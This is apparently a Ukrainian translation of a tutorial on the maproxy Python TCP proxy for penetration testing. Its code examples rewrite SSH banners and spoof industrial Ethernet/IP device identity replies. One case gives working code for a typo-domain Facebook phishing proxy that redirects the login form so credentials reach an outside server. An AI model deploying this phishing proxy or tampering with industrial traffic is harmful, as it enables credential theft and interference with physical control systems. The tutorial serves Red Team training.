Переклад статті підготовлений напередодні старту курсу
Анотація
Різноманітні види оцінки безпеки, починаючи від регулярного тестування на проникнення та операцій Red Team до злому IoT/ICS-пристроїв та SCADA, мають на увазі під собою роботу з бінарними мережевими протоколами, тобто, по суті, перехоплення та модифікацію мережевих даних між клієнтом та метою. Сніффінг мережного трафіку не є складним завданням, оскільки у нас є такі інструменти, як Wireshark, Tcpdump або Scapy, проте модифікація є завданням більш трудомістким, оскільки нам потрібно буде мати своєрідний інтерфейс для читання даних мережі, їх фільтрації, зміни на льоту та відправки назад на цільовий хост майже як реального часу. Крім того, було б ідеально, якби такий інструмент міг автоматично працювати з кількома паралельними з'єднаннями та мав можливість кастомізації за допомогою скриптів.
Якось я відкрив для себе інструмент, який називається
, документація швидко дала мені зрозуміти, що maproxy
– саме те, що мені потрібне. Це досить простий, універсальний TCP-проксі, що легко настроюється. Я протестував цей інструмент на декількох досить складних додатках, включаючи ICS - пристрої (які генерують багато пакетів), щоб дізнатися, чи може він працювати з безліччю паралельних з'єднань, і інструмент добре показав себе.
Ця стаття познайомить вас з обробкою мережевих даних на льоту за допомогою maproxy
.
Огляд
Інструмент maproxy
заснований на Tornado – популярному та розвиненому асинхронному мережевому фреймворку на Python.
Загалом він може працювати в кількох режимах:
TCP:TCP
- Незашифровані TCP-з'єднання;TCP:SSL
иSSL:TCP
- З одностороннім шифруванням;SSL:SSL
– двостороннє шифрування.
Він постачається у вигляді бібліотеки. Для швидкого запуску ви можете скористатися прикладами файлів, які відображають основні
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Кейс 1 – простий двонаправлений проксі
Грунтуючись на tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
За замовчуванням ProxyServer()
приймає два аргументи - місце підключення та цільовий порт. server.listen()
приймає один аргумент – порт для прослуховування вхідного з'єднання.
Виконання скрипту:
# python tcp2tcp.py
Для того, щоб провести тест, ми збираємось підключитися до локального SSH-сервера через наш проксі-скрипт, який слухає на 2222/tcp
порту та підключається до стандартного порту 22/tcp
SSH-сервера:
Вітальний банер повідомляє, що наш приклад скрипту успішно проксував мережевий трафік.
Кейс 2 – модифікація даних
Інший демо-скрипт logging_proxy.py
ідеально підходить для взаємодії з мережевими даними. Коментарі у файлі описують методи класу, які можна модифікувати для досягнення своєї мети:
Найцікавіше тут:
on_c2p_done_read
– для перехоплення даних шляхом від клієнта до сервера;on_p2s_done_read
– у зворотний бік.
Давайте спробуємо змінити SSH-банер, який сервер повертає клієнту:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Виконайте скрипт:
Як бачите, клієнт був введений в оману, оскільки для нього ім'я SSH-сервера було підмінено на «DumnySSH»
.
Кейс 3 – проста фішингова веб-сторінка
Існує безліч варіантів використання цього інструменту. Цього разу давайте зосередимося на чомусь більш практичному в галузі операцій Red Team. Давайте наслідуватимемо лендинг m.facebook.com
і скористаємося кастомним доменом з навмисною друкарською помилкою, наприклад, m.facebok.com
. Для демонстрації просто припустимо, що домен зареєстрований нами.
Ми збираємося встановити незашифроване мережеве з'єднання з нашим проксі жертв і SSL Stream для сервера Facebook (31.13.81.36
). Щоб цей приклад запрацював, нам потрібно замінити заголовок HTTP-хоста та впровадити коректне ім'я хоста, а ще ми відключимо стиснення відповідей, щоб отримати легкий доступ до їхнього вмісту. Зрештою ми замінимо HTML-форму, щоб облікові дані для входу відправлялися нам замість серверів Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/uk/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
У підсумку:
Як бачите, ми успішно спромоглися підмінити оригінальний сайт.
Кейс 4 – Портим Ethernet/IP
Я досить довго мав справу з промисловими пристроями та програмним забезпеченням (ICS / SCADA), такими як програмовані контролери (PLC), модулі вводу-виводу, приводи, реле, сходові середовища програмування та багато іншого. Цей кейс для тих, кому подобається промислові штуки. Злом таких рішень має на увазі активну гру з мережевими протоколами. У наступному прикладі я хотів би показати, як ви можете модифікувати мережний трафік ICS/SCADA.
Для цього вам знадобиться таке:
- Мережевий сніффер, наприклад, Wireshark;
- Ethernet/IP або просто SIP-пристрій ви можете знайти його за допомогою сервісу Shodan;
- Наш скрипт на основі
maproxy
.
Спочатку давайте подивимося, як виглядає типова ідентифікаційна відповідь від CIP (Common Industrial Protocol):
Ідентифікація пристрою здійснюється за допомогою протоколу Ethernet/IP, який є розширеною версією протоколу Ethernet для промислових цілей, він обертає протоколи керування, такі як CIP. Ми збираємося змінити виділене ідентифікаційне ім'я, яке видно на скріншоті "NI-IndComm for Ethernet" за допомогою нашого проксі-скрипту. Ми могли б перевикористати скрипт logging_proxy.py
та аналогічно модифікувати метод класу on_p2s_done_read
оскільки ми хочемо, щоб на клієнті було видно інше ідентифікаційне ім'я.
Код:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
По суті, ми запросили ідентифікацію пристрою двічі, друга відповідь – оригінальна, а перша була модифікована на льоту.
І останнє
На мій погляд maproxy
зручний і простий інструмент, який ще й написаний на Python, тому я вважаю, що ви теж можете отримати вигоду від його використання. Звичайно, існують і більш складні інструменти для обробки та зміни мережевих даних, однак вони також потребують більшої уваги та зазвичай створюються під конкретний сценарій використання, наприклад, maproxy
ви зможете швидко реалізувати свої ідеї щодо перехоплення мережевих даних, оскільки приклади скриптів дуже наочні.
Джерело: habr.com